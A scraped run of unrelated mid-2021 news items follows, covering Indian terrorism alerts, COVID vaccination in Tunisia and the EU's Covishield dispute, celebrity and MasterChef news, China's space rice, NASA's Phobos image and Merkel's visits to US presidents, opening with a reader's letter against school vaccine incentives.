I am disgusted that the school district would not only suggest we allow our children to be guinea pigs, but as a parent, a taxpayer and health care professional, Im angry.

It is the school districts job to educate my children, not provide their health care or even have a say in it. And before someone gets up in my face about required vaccines, please know there are exemptions for these FDA-approved vaccines.

I get it. The school district isnt telling me my children are required to get the COVID vaccine, but they are bribing them to do so, and thats pretty skeevy.

Debi Bouffard

Pottsville
It is a proud moment for actress Dia Mirza and her husband Vaibhav Rekhi who have been blessed with a baby boy. The actress took to Instagram and announced the good news while sharing a picture of the newborns hands. The couple has named their newborn Avyaan. The actress issued a statement on social media and revealed that a sudden appendectomy during her pregnancy and a severe bacterial infection could be life-threatening, hence an emergency C-section was done.

Dia Mirza, Vaibhav Rekhi welcome their first baby

While thanking the hospital staff and caring nurses for taking care of the newborn, the actress wrote, ur heartbeat, our son Avyaan Azaad Rekhi was born on May 14th. Having arrived early, our little miracle has since then been cared for by tireless nurses and doctors in the Neonatal ICU. Further, Dia thanked God and all those people who prayed for her and the family. As we watch this tiny being, this Zen master in awe and wonder, we learn from him, in all humility, the true meaning of trusting the universe and of parenthood. And to not be afraid, and so we humbly take the lead from his resilience and courage. We do not have enough words to thank all those who continue to help us live this story of hope and faith and create a safe, healing, nurturing space for Avyaan and me. He will be home soon and his elder sister Samaira and grandparents are waiting to hold him in their arms, added.



Continuing, she wrote, To our well-wishers and fans, I just want to say - your concern has always meant a lot to me and if it was possible to share this news before, we would have. Thank you all for all the love, light, faith, and prayers. We extend them back to everyone who is struggling to hold on to hope right now or is praying for a loved one. We see you, we hear you and together, we will get past this time.

Her friends from the industry including Malika Arora, Riddhima Kapoor Sahni, Masaba Gupta, and more were wick to congratulate the couple and send in their best wishes. The 39-year-old actress got married to businessman Vaibhav Rekhi in February. She had announced her pregnancy in March with a photo of hers from the Maldives, which prominently revealed her baby bump.

IMAGE: DIAMIRZAOFFICIAL/Instagram

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MasterChef Australia Season 13 winner, Justin Narayan, is an Indian-origin and youth Pastor based out of Perth in West Australia with Fijian and Indian ancestry. Bagging the top position in one of the most celebrated cookery shows, Justin made everyone proud while he clung to the trophy after defeating two finalists Bangladesh-origin Kishwar Chowdhary and New South Wales native Pete Campbell on Tuesday, July 13.

The news of Justin's victory was announced on the official Twitter handle of MasterChef Australia wherein they shared multiple clips from the finale episode of the show.

One of the posts read, "We think it's safe to say Justin Narayan's mind is blown right now." While Justin described the win as a "surreal feeling". He said in one of the clips, " Huge thanks to the judges and other contestants. It was the best experience of my life.

In an InstagramTV video, a jubilant Justin says, "it's gonna take a while to sink in."

Given the enormous viewership of popular MasterChef Australia, the show demands no introduction; in terms of reward, Justin Narayan took home prize money of USD 250,000 (Rs 1.86 crore approximately) along with the MasterChef title and the trophy.

Taking to his unofficial account on Instagram, Justin shared, "Find people that believe in you. Back yourself. Go hard and hopefully you will surprise yourself. Whoever's reading this I love you."

MasterChef Australia Season 13 grand finale

As part of the final challenge during the grand finale of the most popular MasterChef Australia, the three finalists had to recreate two of Australian chef Peter Gilmore's dishes- shaved southern squid with koji butter and shiitake custard and a golden crackle. Interestingly, known as a risk-taker and versatile Narayan bagged a perfect score of 40/40 for the first dish.

The latest season also featured another Indian contestant Depinder Chhibber's commendable culinary skills. A pharmacist by profession, she hails from Delhi. She had received judges' acclaim for bringing Indian flavours to MasterChef. Indian dishes have found a hot spot on international platforms and cookery shows too.

Depinder had not only earned praises from judges Andy Allen, Jock Zonfrillo and Melissa Leong after she presented her dishes but they said, "I think Indian dishes have always been super prevalent on MasterChef but I think this year you've got two superstars like Depinder and Kishwar (finalist), who time after time are smashing challenges and they're bringing complex Indian dishes and Indian curries that are just perfect."

Also, earlier another Indian descent, Sashi Cheliah, had grabbed the title in 2018. Now, he owns a restaurant Gaja in his hometown of Adelaide.

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The government of Madhya Pradesh on Tuesday announced an additional allowance of Rs 1,000 per month for the widows of the Bhopal Gas Tragedy. More than 15,000 casualties were reported from the deadly gas leak caused at the Union Carbide Corporations pesticide plant on midnight of 2 December 1984. This is in addition to the social security pension for the surviving widows of the Bhopal gas leak victims, state Home Minister Narottam Mishra told reporters after a cabinet meeting. Furthermore, he added that the decision was objected to by the states finance department, but the step was taken anyway by his government to ensure the security of the widowed wives of the plants employees.

In 2019, the Kamal Nath-led Congress government had shelved the pension plan for the bereaved wives, Mishra who is also a government spokesperson said, adding that the BJP government had authorized the bill in 2013. The pension was therefore resumed by his government to ensure the wellbeing of the families left behind by the Bhopal gas tragedy victims.

Rachna Dhingra of NGO Bhopal Group for Information and Action hailed Mishras decision saying, "Several announcements have been made in the last one year, but these widows are yet to receive a single rupee into their account. She further stressed that the widows of those who tragically lost lives in a gross tragedy havent received any pension since December 2019. They need to be paid immediately, Dhingra said, according to PTI. She further denounced the Gas Relief Department's policy, saying that there was no clarity due to a lack of recognition of the Bhopal Gas Tragedy victims.

More than 20,000 injuries

As many as 15,000 had died after the methyl isocyanate (MIC) leak in the Union Carbide India Ltds (UCILs) Chemical factory. The city of the JP Nagar turned to a gas chamber with hundreds of thousands of people running on the streets, vomiting and dying due to the hazardous gas in one of the worst industrial disasters of India. The Indian government filed criminal charges. US-based multinational company, while more than 500,000 people filed claims in the case. The accident caused nearly 20,000 injuries due to negligence on part of the company, a claim that the US-based firm rejected during the independent expert review to the cause of the tragedy.
As the anti-terror encounter continues, in a recent development, three terrorists were killed by the J&K Police in Pulwama on early July 14. The encounter operation began at late night on July 13, where the police recovered incriminating evidence such as arms and ammunition and imposed strict restrictions in the surrounding region. LeT commander Aijaz along with two local terrorists were killed.

Briefing on the encounter operation, IGP Kashmir, Vijay Kumar, said, "The J&K police received information that 3 LeT terrorists were hiding in Pulwama. Upon receiving this information, Srinagar police, Pulwama police, and the Army moved to the spot and initiated the encounter operation".

The initial firing was slow as a civilian was trapped inside. The civil was vacated and the anti-terror operation was initiated in the early morning of July 14. And early morning started the encounter, one terrorist Aijaz was killed along with two local terrorists

Addressing the issue of foreign terrorists killing in J&K, Vijay said, "For the past month, about four foreign terrorists were killed, one in North Kashmir, one in Central Kashmir, and two in Pulwama district encounter".

He informed that the pattern of foreign terrorists found and killed in recent times means they move with the local terrorists. Pakistan terrorists or any foreign terrorists are involved in every attack reported.

Explaining the process of appealing to the local terrorist to surrender, Vijay Kumar said, "Local terrorists are often appealed to drop their arms and get back. This happens in two ways- a potential man who becomes a terrorist is brought back with the help of his parents while in other cases, we appeal during the live encounter where 15-20% success is observed".

He added, "It's important to kill the terrorists as they are a threat to the people and the nation, And in case of the terrorist support structures especially the online ones are eliminated through the NIA raids".

Terror attacks continue at J&K borders

According to a recent report, the Indian intelligence agency has warned regarding heavily armed terrorists of Lashkar-e-Taiba carrying 6 AK56 Rifles, 21 Grenades and 3 big bags are planning to infiltrate the Indian territory via Kashmir through Baban Nala in Samba district of Jammu. The Border Security Forces (BSF), military troops, as well as the anti-Infiltration grid deployed along the International Border have been put on high alert.

(Image credit: PTI/ANI)
In a big development, Indian intelligence authorities have warned of a possible terror plot by the ISI to attack the Indian Railways. According to Republic TV sources, intelligence agencies have intercepted a plot by Pakistan's ISI to trigger bomb blasts in trains laden with migrant workers and labourers in Bihar and Uttar Pradesh. The attacks are reportedly being planned across various train routes in the two states through its operatives based in Punjab.

ISI train terror plot

The ISI train terror plot came to light after a senior Railway police officer in Patna wrote a letter to 11 SPs in Bihar, giving details of the threat. The letter by the Bihar Rail police states that ISI has offered to provide time bombs to its sleeper cells in Punjab. The cells have been directed to induct these time bombs in trains travelling to UP and Bihar to disrupt the law and order situation of the country.

The Bihar Rail Police headquarters has alerted several Rail SPs, SDPOs, SHOs and outpost incharges in connection with the possible attack. Districts such as Begusarai, Jamui, Jahanabad, Nawada, Bhojpur, Buxar, Ghazipur, Chandauli, amongst other regions have been placed on high alert. Dogs and bomb squads have been asked to remain alert in the state and regular checking and monitoring is being carried out by the officials at railway station premises.

NIA nabs LeT terrorist in Darbhanga Railway Station Blast case

This comes nearly two weeks after the NIA arrested two more terror suspects-- Mohd. Salim and Mohd. Kafil in the connection with the Darbhanga railway station blast. Both the accused were in touch with the Pakistani ISI handlers. NIA has further established a money trail as these accused received Rs 4.6 lakh from the Pakistani handlers to carry out an attack in India. So far, 4 LeT terrorists have been arrested in connection with the blast. According to the CCTV footage of Darbhanga station, on June 15, the two terrorists were seen getting out of a car with an IED parcel wrapped in clothes. This parcel was reportedly placed inside the Secunderabad to Darbhangda train. The IED ultimately caused a blast on Platform 1 of Darbhanga Railway Station on June 17.
The three neo-Jamaat-ul- Mujahideen Bangladesh (JMB) terrorists who were arrested in Kolkata were in the process of building modules in West Bengal, a senior official of the Special Task Force (STF) of the Kolkata Police said on Tuesday.

It is suspected that they have associates in some districts of the state, he said.

"Initial interrogation revealed that the JMB operatives were trying to build modules in West Bengal. These militants may have links with terror groups such as Al Qaeda or Harkat-ul-Jihad al-Islami (HuJI). The documents seized from them indicate this," the official said.

The STF arrested JMB operatives Najiur Rahman, Rabiul Islam and Sabir from Haridevpur area of South Kolkata on Sunday. They are Bangladeshi nationals who had used forged documents to get a room on rent.

Their linkman, identified as Salim Munshi, had used the identity card of an unsuspecting elderly man to prepare a fake identity card for Najiur, the officer said.

Najiur became Jayram Byapari in the fake identity card and the elderly man his father.

"Munshi had used the identity card to prepare a fake identity card. He borrowed it from an old man on the pretext that his brother was coming from Bangladesh and required a document to get a driving licence to drive an autorickshaw," the officer said.

The three persons had come from Bangladesh to Kolkata a few months ago.

Several documents, including jihadi materials, lists of top JMB leaders and their associates in other terror groups were seized from their possession.

A number of JMB operatives including Indians were arrested from West Bengal in the past few years.

The JMB, which carried out a terror attack at a popular cafe in Dhaka in 2016 in which 22 people including 17 foreigners were killed, is trying to spread its tentacles in India, the NIA had said in 2019.

(Disclaimer: This story is auto-generated from a syndicated feed; only the image & headline may have been reworked by www.republicworld.com)
Shillong, July 14 (PTI) A police personnel was injured in an IED blast at a police camp in Meghalaya's East Jaintia Hills District on Wednesday, police said.

The incident took place at the camp located in Dkhiah area in the early hours.

The blast destroyed the boundary wall of the building, they said.

In an email to media houses, the proscribed Hynniewtrep National Liberation Council (HNLC)has claimed responsibility for the blast demanding implementation of the Inner-line permit among others.

Eastern Range Inspector General of Police MK Singh rushed to the spot along with a bomb squad from the police headquarters here.

District superintendent of police Jagpal D Singh said two other buildings were also damaged.

Window panes of the structures were shattered due to the intensity of the blast, he said.

The injured is out of danger, the SP said.

The police have begun an investigation into the blast.

The blast was an act of revenge against the police for allegedly torturing their cadres in custody in the past, HNLC general secretary S Nongtraw said.

The outfit has also warned Star Cement no to go ahead with its expansion plans in Brishyrnot area of the district.

Currently operating from Bangladesh, the HNLC used to be active in seven districts in the Khasis Jaintia Hills region.

Sustained counter-insurgency operations and improving police-public relationships in the past two decades have greatly affected the activities of the outfit, except for stray attacks, a senior official told PTI.

The police are collecting evidence at the place of occurrence and conducting checks on vehicles. PTI JOP MM MM

(Disclaimer: This story is auto-generated from a syndicated feed; only the image & headline may have been reworked by www.republicworld.com)
Heavily armed terrorists of Lashkar-e-Taiba carrying 6 AK56 Rifles, 21 Grenades and 3 big bags are planning to infiltrate the Indian territory via Kashmir through Baban Nala in Samba district of Jammu, the Indian intelligence agency has warned. The Border Security Forces (BSF), military troops, as well as the anti-Infiltration grid deployed along the International Border have been put on high alert.

An intelligence report, exclusively accessed by the Republic World, on Monday revealed that as many as 5 to 6 armed terrorists of Lashkar-e-Taiba were waiting at a Mosque near Pakistans post of Peer Bunkar in Shakkargarh. The terror outfit may use the heavy rains and flash flooding as coverslip into the Indian territory.

It is pertinent to mention that during heavy rainfall, and turbulent weather the Border Security Forces face two challenges; one the risk of infiltration from the enemy Pakistan; and the other that the flash floods situation causes many forward posts for the Border Security Force in Jammu, Kathua and Samba district of Jammu to cut off. According to the explosive intelligence, terrorists are attempting to thwart the security barriers during heavy rainfall and enter India through Pakistans Shakkargarh.

Further in the intelligence report, officials cautioned that in Samba district, the first rainfall of the monsoon washed away a major chunk of land that connected the Ramgarh sector to the International Border. As a result, there is a temporary disruption to the connectivity with a couple of BSF posts. Lashkar-e-Taiba terrorists plan to invade the Indian territory via the Samba district amid the turbulent weather condition, then move to Kashmir Valley in a vehicle via Jammu Srinagar National Highway, the report stated.

This has been modus operandi of various terror outfits which push terrorists from the International Border and are tasked to reach Kashmir Valley to carry out terror strikes, the intelligence report stated.

The armed terrorists are tasked to conduct the terror strikes, leading to the loss of human lives and destruction on the Indian territory. Three encounters that have taken place near Ban Toll Plaza and adjoining areas of Nagrota in Jammu reveal that this is the modus operandi of Pakistani terror outfits to push terrorists to the Kashmir valley in vehicles so that they can get oxygen network (Over Ground Workers support) for survival, as well as to carry out a terror attack on Indian armed forces and the civilians, the intel report revealed.

Terror guide Shabbir Hussain given 'directions' by Pakistani handlers

The intel names one terror guide Shabbir Hussain accompanying the outfit, who hails from either the Hiranagar sector or the nearby areas who has been passed directions by his Pakistani handlers to assist the terrorists in entering the Indian territory from Pakistans Shakkargarh. Terrorists have also sought assistance from Pakistani Rangers to infiltrate India. The possibility that they may be using an existing tunnel to enter Kashmir cannot be ruled out, as per the agency reports. Top officials in BSF and Jammu and Kashmir Police have confirmed receiving the inputs from the intelligence agency. An alert has been sounded on the International Border to thwart any attempt of the enemy to vitiate the peace process.
Guwahati, Jul 14 (PTI) The BJP-led government's cow protection Bill will encourage mob lynching and create more cattle syndicates in the state, Congress Lok Sabha MP Abdul Khaleque alleged on Wednesday.

The Bill which proposes to regulate slaughter, consumption and transportation of cattle was introduced to further the agenda of the BJP and the RSS and its provisions seek to ensure that beef cannot be sold almost anywhere in the state, he claimed.

"By imposing various restrictions on the transport of cattle, a new permit raj will be created, leading to a huge cattle syndicate in Assam," the MP from minority-dominated Barpeta constituency said at a press conference in Guwahati.

Tabling the Assam Cattle Preservation Bill, 2021, in the assembly on July 12, Chief Minister Himanta Biswa Sarma said that government wants to repeal the Assam Cattle Preservation Act, 1950 which, he claimed, lacks sufficient legal provisions to deal with the issue.

The Bill proposes to forbid sale and purchase of beef in places predominantly inhabited by Hindu, Jain, Sikh and other non-beef eating communities or within a radius of 5 kms of any temple, sattra (Vaishnav monasteries) or any other institution or area as may be prescribed by the authority.

The state government may, however, exempt certain places of worship or certain occasions for slaughter of cattle other than calf, heifer and cow for religious purposes.

"The 5-km clause is the defining feature of the proposed law which indirectly means that beef cannot be sold almost anywhere in Assam," Khaleque said.

It will be tough to find a single location in the state that will meet such stringent conditions, he said.

"It is clearly evident that the bill is for accomplishing the agenda of the BJP and the RSS and this provision may encourage mob lynching and incite communal incidents in the state," the Congress leader said.

Khaleque also slammed the Centre, which is responsible for protecting the country's border, claiming that it has failed to check cow smuggling across the Indo-Bangladesh border.

"The BJP government has been in power for the last seven years in New Delhi. What steps have been taken to end cow smuggling? I thank the Assam chief minister for exposing the Centre's lapses," he said.

The Himanta Biswa Sarma government has launched a crackdown on cow smuggling to neighbouring Bangladesh.

The Congress MP claimed that restriction on consumption of beef will violate the fundamental rights to food, though the government justified it by mentioning Article 48 of the Constitution which says that the state shall take steps for prohibiting the slaughter of cows and calves and other milch and draught cattle.

"Why is the BJP government giving importance only to Article 48 and not 47?" he asked.

Article 47 of the Constitution says that the state shall endeavour to bring about prohibition of the consumption except for medicinal purposes of intoxicating drinks and of drugs which are injurious to health.

"Why does the chief minister not ban alcohol too?" Khaleque asked and alleged that the BJP government is taking the shield of the Directive Principles to suit the party's agenda.

Articles 36-51 of the Constitution fall under the category of Directive Principles of State Policy which though not justiciable, are fundamental in governance of the country, and it is the duty of the State to apply these principles while making laws. PTI DG NN NN

(Disclaimer: This story is auto-generated from a syndicated feed; only the image & headline may have been reworked by www.republicworld.com)
China has harvested its first batch of 'space rice' with seeds that were exposed to zero gravity and cosmic radiation after travelling around the moon. According to state-run media CCTV, 40 grams of rice seeds had traveled 23 days in space and made a round trip to the moon on Chang'e-5 lunar probe in November 2020. Returning from their lunar voyage, these 'space rice' seeds were harvested at the space breeding research centre of the South China Agricultural University in Guangdong province to help improve Chinas grain harvest.

After harvesting the first batch, the remaining seeds have been segregated into three parcels. The seeds which are said to be 1 centimeter long will soon be bred in laboratories and then will be planted in fields. Guo Tao, deputy director at the research center stated told Global Times that the seeds will offer new varieties of rice that will help boost China's breeding industry efficiency.

2.4 million hectares approved for 'space crops'

It is important to mention that China has been taking seeds of various crops and produce for lunar voyages since 1987. According to Bloomberg more than 200 Space plant varieties, including cotton and tomatoes, have been approved for planting in the 2.4 million hectares earmarked for space crops in China. The researchers believe that seeds exposed to cosmic radiation can yield higher produce when planted back on Earth.

The space rice that has traveled the moon is being welcomed in China as 'rice from heaven', a term that has been coined by netizens on Chinese social media. As per Global Times, the latest 'space rice' harvested by China could take another three to four years before entering the markets.
NASA has shared an intriguing picture of Mars moon that appears like a potato. The image, captured by the powerful HiRISE camera is of Phobos, the largest of Mars two raggedy moons. While sharing the picture on Instagram, the US space agency stated that the picture was taken aboard its Mars Reconnaissance Orbiter spacecraft, about 6,800 kilometres(4,225 miles) above the surface.

NASA shares image of Mars Moon

NASA said that the image shows a pockmarked celestial body with a large impact basin called Stickney crater. In the caption, NASA stated that "the grooves seen along its side could be the result of tidal forces  the mutual gravitational pull of the planet and the moon." The space agency mentioned that the scientists have calculated Phobos is nearing Mars at a rate of 1.8 meters (6 feet) every century, meaning it will either crash into the planet in 50 million years or break up into a ring of debris. Revealing further details about Phobos, NASA in the caption wrote, "Phobos was discovered in 1877 by American astronomer Asaph Hall, and one popular theory is that it might be a captured asteroid. In Greek mythology, Phobos and Deimos are the twin sons of Ares (Mars in Roman mythology)." Take a look at the post.

Since being shared on July 13, the post has managed to gather over 1,469,098 likes and tons of reactions. Netizens, amazed seeing the image took to the comments section to share their views. One user commented, "It looks like it's made of some kind of metal." Another individual commented, "really looks like a potato. But I think it's super beautiful." Another user commented, "It's AMAZING". Check out some user reactions.

Earlier on July 7, the US space research agency NASA, had shared some captivating photographs that belong to some other world. One of the images shows the graceful spiral arms and pink star-forming regions. The structure in the photograph belongs to the Whirlpool Galaxy, a galaxy that is nearly 23 million light-years ahead of the earth, with a diameter of 60,000 light-years. The second photograph portrays an infrared perspective of the cosmic spiral, exhibiting only its skeletal dust structure.

IMAGE: NASA/Instagram
Outside the health center in Kesra, a little traditional village of Tunisia, soldiers hold their rifles to guard the place.

Inside, the weapons used by the military health workers to combat the spread of the COVID-19, were the vaccines.

The North African country is facing a third wave of infections that has stressed even more the already crowded hospitals and the Tunisian health system, forcing some regions to go back to a full lock down.

On Tuesday, France included Tunisia in its red list of countries with high COVID-19 risk, due to the deteriorating health situation caused by the virus.

As an attempt to stop the spread of virus and to reduce the number of hospitalisations, Tunisia decided to deploy the armed forces to vaccinate people in some of the most affected regions and in areas with a low vaccination rate.

On Monday military health workers vaccinated people over 60 years old or with comorbidities in Kesra and other regions of Siliana state.

"The turnout is satisfactory, but it is weak compared to the big cities where the news spreads quickly and people come," said Riadh Allani, a medical doctor at the Tunisian Armed Forces working in the health unit of Kesra.

"Here, many citizens face difficulties to reach the vaccination center, so we are ready to extend our stay to give an opportunity for everyone to come," Allani added.

The militaries will work with the local authorities to vaccinate people at home if necessary, he said.

The vaccination campaign involving the militaries was launched last weekend in two regions, Siliana and Tataouine, where at least 3,000 people received the jab.

It could be extended to other areas in the coming days if needed.

Tunisia has reported Africa's highest per-capita death toll from the pandemic, and is currently recording one of the highest per-capita infection rates in Africa, according to data from John's Hopkins University.

Over the past month, confirmed virus infections in Tunisia have reached the highest daily levels since the pandemic began, but the vaccination rate remains low, the data indicates.

To help with the vaccination campaign, President Kaies Saied took the first dose of the vaccine on Monday, trying to create awareness about the importance of the immunisation.

The Health Ministry announced the arrival of 85,410 doses of Pfizer this week, according to TAP, the country's news agency.

On Tuesday Tunisia received aid from several countries- including United Arab Emirates, Turkey and Algeria - that have sent hundreds of thousands of vaccines and medical supplies to help the country to combat the virus.

China and France have announced that a shipment with vaccines will be sent to the North African country in the coming days, the Tunisan news agency reported.

By Tuesday Tunisia registered 501,923 cases and 16,494 deaths according to the Johns Hopkins University data.

(Disclaimer: This story is auto-generated from a syndicated feed; only the image & headline may have been reworked by www.republicworld.com)
Beijing, Jul 14 (PTI) In a significant policy statement on the Taliban which is making big gains in its offensive in Afghanistan, China has asked it to make a clean break from all terrorist forces, especially the al-Qaida-backed Uyghur Muslim militant group ETIM fighting for the volatile Xinjiang provinces independence.

In his media briefing at Dushanbe, Chinese Foreign Minister Wang Yi stressed that further spread of the war in Afghanistan, especially an all-out civil war, should be avoided and pitched for restarting of intra-Afghan negotiations to realise political reconciliation and prevention of all kinds of terrorist forces from gaining ground in Afghanistan.

The Taliban, as a major military force in Afghanistan, should realise the responsibilities it bears for the nation, make a "clean break" with all terrorist forces and return to the mainstream of Afghan politics, Wang said on Tuesday.

He also praised the Afghanistan government -- which often accuses Beijings all-weather ally Pakistan of harbouring the Taliban militants -- saying that the government headed by President Ashraf Ghani has done a lot of work for national unity, social stability and improvement of people's livelihood, which should be justly evaluated.

Wang made the remarks during a joint press conference with Tajik Foreign Minister Sirojiddin Muhriddin following their talks in Dushanbe, official media here reported on Wednesday.

His comments came ahead of the Foreign Ministers of the Shanghai Cooperation Organisation (SCO) meeting in Dushanbe to be attended by Wang besides External Affairs Minister S Jaishankar and Pakistan Foreign Minister Shah Mahmood Qureshi.

Significantly, Afghanistan Foreign Minister Mohammad Hanif Atmar has been invited to take part in the SCO contact group which will meet soon after the Foreign Ministers meeting.

The eight member SCO grouping consists of China, Russia, Kazakhstan, Kyrgyzstan, Tajikistan, Uzbekistan, India and Pakistan. Afghanistan is an observer of the SCO group.

Wang said that post the US troop withdrawal, China expects Afghanistan to establish a broadly inclusive political arrangement, pursue a solid Muslim policy, resolutely combat all terrorism and extremist ideologies, and be committed to friendly relations with all neighbouring countries.

Observers say Wangs comments on the Taliban indicate that China is not buying the Talibans recent overtures stating that it considers Beijing as a "friend".

China is concerned that hundreds of East Turkistan Islamic Movement (ETIM) fighters, reportedly grouping in Afghanistan, mostly Badakhshan province sharing a 90-km long border with Xinjiang through the narrow Wakhan corridor, will sneak into Xinjiang or through the Pakistan-occupied Kashmir (POK) and the Central Asia states.

The ETIM is trying to carry out an insurgency in Uyghur Muslim dominated Xinjiang province. Xinjiang also shares borders with PoK and Tajikistan.

China's massive crackdown in Xinjiang, observers say, has exasperated the resentment among native Uyghur Muslims in the province and prompted the US, the EU and international human rights organisations to accuse Beijing of committing genocide.

Also, the 12th report of the Analytical Support and Sanctions Monitoring Team of the United Nations last month confirmed the presence of ETIM militants in Afghanistan.

The ETIM consists of several hundred members, located primarily in Badakhshan and neighbouring Afghan provinces, the report submitted to the UN Security Council said.

Amidst the Taliban gains, China evacuated 210 of its nationals from Afghanistan last week.

Playing down Chinas concerns, Taliban spokesman Suhail Shaheen said his group sees China as a friend of Afghanistan and is hoping to talk to Beijing about investing in reconstruction work as soon as possible.

Shaheen also said that the Taliban would no longer allow Chinas Uyghur separatist fighters from Xinjiang, some of whom had previously sought refuge in Afghanistan, to enter the country.

The Taliban would also prevent al-Qaeda or any other terrorist group from operating there, he said.

We have been to China many times and we have good relations with them, Shaheen told Hong Kong-based South China Morning Post on July 10, recalling the meetings hosted by China in the past.

China is a friendly country that we welcome for reconstruction and developing Afghanistan, he said, adding that "If (the Chinese) have investments, of course, we ensure their safety".

Commenting on the Talibans overtures to Beijing, Andrew Small, a senior transatlantic fellow with the German Marsh Fund said: whatever benign language the Taliban use, China remains highly concerned about the security situation there. He said that Chinas biggest concern in its dealings with the Taliban had always been whether it was sheltering Uyghur separatists and whatever benign language the Taliban use, China remains highly concerned about the security situation there.

In his media briefing at Dushanbe, Wang stressed that further spread of the war in Afghanistan, especially an all-out civil war, should be avoided and pitched for restarting of intra-Afghan negotiations to realise political reconciliation and prevention of all kinds of terrorist forces from gaining ground in Afghanistan.

Afghanistan is an independent and sovereign country and history shows that any coercive intervention in Afghanistan is bound to fail, he said, indicating Chinas unwillingness to commit its military to the war-torn country to fill in the void left by the US and NATO troops.

Considering the security risks, China is goading Pakistan, which shares close ties with the Taliban, to help stabilise Afghanistan amidst the Taliban offensive.

It is yet to be seen how Wangs praise of the Afghan government for doing good work will be received in Pakistan as it shares frosty ties with the Ashraf Ghani government over its allegation of harbouring the Taliban militants.

Early this month, Wang who has stepped up trilateral diplomacy with Pakistan and Afghanistan persuading them to resolve their differences, asked Islamabad to step up cooperation to contain security risks in Afghanistan in the light of the latest offensive by the Taliban following the withdrawal of the US.

"(China and Pakistan) need to defend regional peace together. Problems in Afghanistan are practical challenges that China and Pakistan both face," especially the expansion of both international and regional terrorism, Wang said on July 8 while addressing a meeting of the 70th anniversary of diplomatic relations with Pakistan here. PTI KJV CPS AKJ CPS

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AstraZeneca, according to EU inspections, has not finished the paperwork for its Indian plant, which includes details on its production and quality standards.

A number of experts, however, claim that the EU's reasoning is discriminatory and unscientific because the factory was examined and certified by the WHO. It is predicted that this scenario will not only prolong travel and irritate fragile economies, but it also erode vaccination confidence by appearing to label some vaccines as substandard.

In order to save the summer tourism season, countries like Europe and other developed nations are loosening coronavirus border restrictions as vaccination coverage increases.

EU officials introduced the digital COVID-19 certificate earlier this month, allowing residents to freely move within the bloc if they have had a recently negative test, have been immunized with one of four shots authorised by the European Medicine Agency, or have proof of recent recovery.

While the United States and the United Kingdom remain mainly restricted to international visitors, the EU certificate is considered as a potential model for COVID-19 travel and a tool to stimulate economies.

Vaccines from Pfizer, Moderna, and Johnson & Johnson are among the officially EU-approved vaccines.

Despite being part of one union, each EU nation has its own laws governing visitors from outside and within, and these often differ greatly, further confusing tourists. In a few EU nations, such as Belgium, Germany, and Switzerland, people who have received non-EU-approved vaccines can enter, while others, such as France and Italy, don't.

Nsofor was shocked to learn of the possibility of being barred. His wife and two young daughters were eagerly anticipating a European trip after a difficult year working in Abuja during the pandemic. They were looking forward to seeing the Eiffel Tower in Paris or discovering Salzburg, Austria.

As per Nsofor, the vaccine he received was made in India and was provided by COVAX, a group with the backing of the United Nations that provides vaccines to impoverished populations across the globe. It was inspected by the WHO to ensure that the production methods and quality control criteria followed by Serum Institute of India were acceptable.

Were grateful to the EU that they funded COVAX, but now they are essentially discriminating against a vaccine that they actively funded and promoted, Nsofor said. This will just give room to all kinds of conspiracy theories that the vaccines were getting in Africa are not as good as the ones they have for themselves in the West.

During COVID-19, Ivo Vlaev, a professor at the University of Warwick in the United Kingdom who advises the government on behavioural science, acknowledged that Western countries' failure to recognise vaccines used in developing countries may increase mistrust.

People who were already suspicious of vaccines will become even more suspicious, Vlaev said. They could also lose trust in public health messages from governments and be less willing to comply with COVID rules.

According to Dr. Mesfin Teklu Tessema, director of health for the International Rescue Committee, Countries who refuse to acknowledge vaccines cleared by WHO are going against scientific evidence.

Vaccines that have met WHOs threshold should be accepted. Otherwise it looks like theres an element of racism here, he said.

The World Health Organization has urged countries to accept all vaccines approved by it, including two developed in China. According to a statement released by the United Nations health agency, countries refusing to do so are reducing confidence in vaccines that have already been proven safe and effective, affecting vaccine uptake and potentially putting billions of people at risk.

EU's Issue with Covishield

Serum Institute of India CEO Adar Poonawalla tweeted in June that he was concerned about vaccinated Indians having difficulty traveling to the EU, and he was pressing the issue with authorities at the highest levels.

According to Stefan De Keersmaeker, a spokesperson for the European Commission's executive arm, an inspection of the factory's manufacturing process is required.

In the statement he said, "We are not trying to create any doubts about this vaccine."

AstraZeneca reports that the paperwork on the Indian manufacturing has just recently been submitted to the EU regulatory authorities. No explanation was given for the delay, which occurred before the agency's January decision.

In some European countries, particularly the United States, some vaccines made outside the EU are not recognized by some national authorities, despite the fact that their European equivalents are.

Gerard Araud, the former French ambassador to Israel, the United States, and the United Nations, tweeted this week about the nation's COVID-19 permit, which many persons who are vaccinated outside France deem to be a "disaster."

Global efforts to resume travel are being hindered by the refusal of countries to recognize WHO-backed vaccines.

To exclude some people from certain countries because of the vaccine theyve received is wholly inconsistent because we know that these approved vaccines are extremely protective.

Neither Nsofor nor his wife have decided where they will spend their summer vacation, although they have considered Singapore or a trip to Africa.

I didnt realize there were so many layers to vaccine inequity, he said.

You can't cut countries off from the rest of the world indefinitely, said University of Cambridge's Dr. Raghib Ali.





(with inputs from AP)
Angela Merkel on Thursday makes her first visit to the White House since Joe Biden took office  the fourth American president of her nearly 16-year tenure as German chancellor.

Merkel, who turns 67 on Saturday, will be heading into political retirement at some point in the coming months after deciding long ago not to seek a fifth term in Germany's national election on Sept. 26.

Even with contentious issues on the table  notably the Nord Stream 2 gas pipeline running from Russia to Germany, which the U.S. has long opposed  Merkel can expect a warm welcome from Biden on what is likely her last visit.

It hasn't always been that way during her time in charge.

Merkel came to power early in Bush's second term and set about repairing relations chilled by predecessor Gerhard Schroeder's vocal opposition to the war in Iraq.

She quickly became a close ally  perhaps finding that the way to the president's heart was through his stomach.

During a visit to Merkel's parliamentary constituency in northeastern Germany in July 2006, Bush couldn't stop talking about a wild boar roast the chancellor laid on for him.

At a Group of Eight summit in St. Petersburg, Russia, a few days later, Bush gave Merkel an impromptu neck-and-shoulder rub in a moment that quickly spread across the internet.

Merkel hunched her shoulders in surprise, threw her arms up and grimaced, though she appeared to smile as Bush walked away.

When Merkel visited the White House the following January, a smiling Bush declared: "No back rubs."

In November 2007, Bush welcomed Merkel to his Crawford, Texas ranch. "In Texas, when you invite somebody to your home, it's an expression of warmth and respect and that's how I feel about Chancellor Merkel," a jeans-clad Bush said as he greeted Merkel at the property's helipad and drove her in his pickup to his personal home.

Merkel's relationship with Obama didn't have the greatest start. In July 2008, the chancellor squashed the idea of candidate Obama delivering a speech at Berlin's signature Brandenburg Gate, saying it was a backdrop for speeches by presidents.

Obama switched to another Berlin landmark, the Victory Column.

